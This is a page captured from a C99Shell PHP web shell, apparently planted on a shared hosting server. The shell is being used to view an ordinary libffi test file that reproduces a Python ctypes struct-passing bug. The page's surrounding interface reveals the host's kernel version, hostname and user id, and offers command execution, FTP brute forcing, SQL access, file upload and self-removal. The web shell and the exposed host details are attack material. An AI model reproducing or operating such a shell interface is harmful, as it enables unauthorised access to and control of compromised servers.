!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/opt/td-agent/embedded/lib/ruby/gems/2.4.0/gems/ffi-1.11.1/ext/ffi_c/libffi/testsuite/libffi.call/   drwxrwxr-x
Free 221.35 GB of 981.82 GB (22.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pr1172638.c (2.54 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Area:    ffi_call
   Purpose:    Reproduce bug found in python ctypes
   Limitations:    none.
   PR:        Fedora 1174037  */

/* { dg-do run } */
#include "ffitest.h"

typedef struct {
  long x;
  long y;
} POINT;

typedef struct {
  long left;
  long top;
  long right;
  long bottom;
} RECT;

static RECT ABI_ATTR pr_test(int i __UNUSED__, RECT ar __UNUSED__, 
                 RECT* br __UNUSED__, POINT cp __UNUSED__, 
                 RECT dr __UNUSED__, RECT *er __UNUSED__, 
                 POINT fp, RECT gr __UNUSED__)
{
  RECT result;

  result.left = fp.x;
  result.right = fp.y;
  result.top = fp.x;
  result.bottom = fp.y;

  return result;
}

int main (void)
{
  ffi_cif cif;
  ffi_type *args[MAX_ARGS];
  void *values[MAX_ARGS];
  ffi_type point_type, rect_type;
  ffi_type *point_type_elements[3];  
  ffi_type *rect_type_elements[5];  
  
  int i;
  POINT cp, fp;
  RECT ar, br, dr, er, gr; 
  RECT *p1, *p2;

  /* This is a hack to get a properly aligned result buffer */
  RECT *rect_result =
    (RECT *) malloc (sizeof(RECT));

  point_type.size = 0;
  point_type.alignment = 0;
  point_type.type = FFI_TYPE_STRUCT;
  point_type.elements = point_type_elements;
  point_type_elements[0] = &ffi_type_slong;
  point_type_elements[1] = &ffi_type_slong;
  point_type_elements[2] = NULL;

  rect_type.size = 0;
  rect_type.alignment = 0;
  rect_type.type = FFI_TYPE_STRUCT;
  rect_type.elements = rect_type_elements;
  rect_type_elements[0] = &ffi_type_slong;
  rect_type_elements[1] = &ffi_type_slong;
  rect_type_elements[2] = &ffi_type_slong;
  rect_type_elements[3] = &ffi_type_slong;
  rect_type_elements[4] = NULL;

  args[0] = &ffi_type_sint;
  args[1] = &rect_type;
  args[2] = &ffi_type_pointer;
  args[3] = &point_type;
  args[4] = &rect_type;
  args[5] = &ffi_type_pointer;
  args[6] = &point_type;
  args[7] = &rect_type;
  
  /* Initialize the cif */
  CHECK(ffi_prep_cif(&cif, ABI_NUM, 8, &rect_type, args) == FFI_OK);

  i = 1;
  ar.left = 2;
  ar.right = 3;
  ar.top = 4;
  ar.bottom = 5;
  br.left = 6;
  br.right = 7;
  br.top = 8;
  br.bottom = 9;
  cp.x = 10;
  cp.y = 11;
  dr.left = 12;
  dr.right = 13;
  dr.top = 14;
  dr.bottom = 15;
  er.left = 16;
  er.right = 17;
  er.top = 18;
  er.bottom = 19;
  fp.x = 20;
  fp.y = 21;
  gr.left = 22;
  gr.right = 23;
  gr.top = 24;
  gr.bottom = 25;
  
  values[0] = &i;
  values[1] = &ar;
  p1 = &br;
  values[2] = &p1;
  values[3] = &cp;
  values[4] = &dr;
  p2 = &er;
  values[5] = &p2;
  values[6] = &fp;
  values[7] = &gr;

  ffi_call (&cif, FFI_FN(pr_test), rect_result, values);
  
  CHECK(rect_result->top == 20);
 
  free (rect_result);
  exit(0);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1043 ]--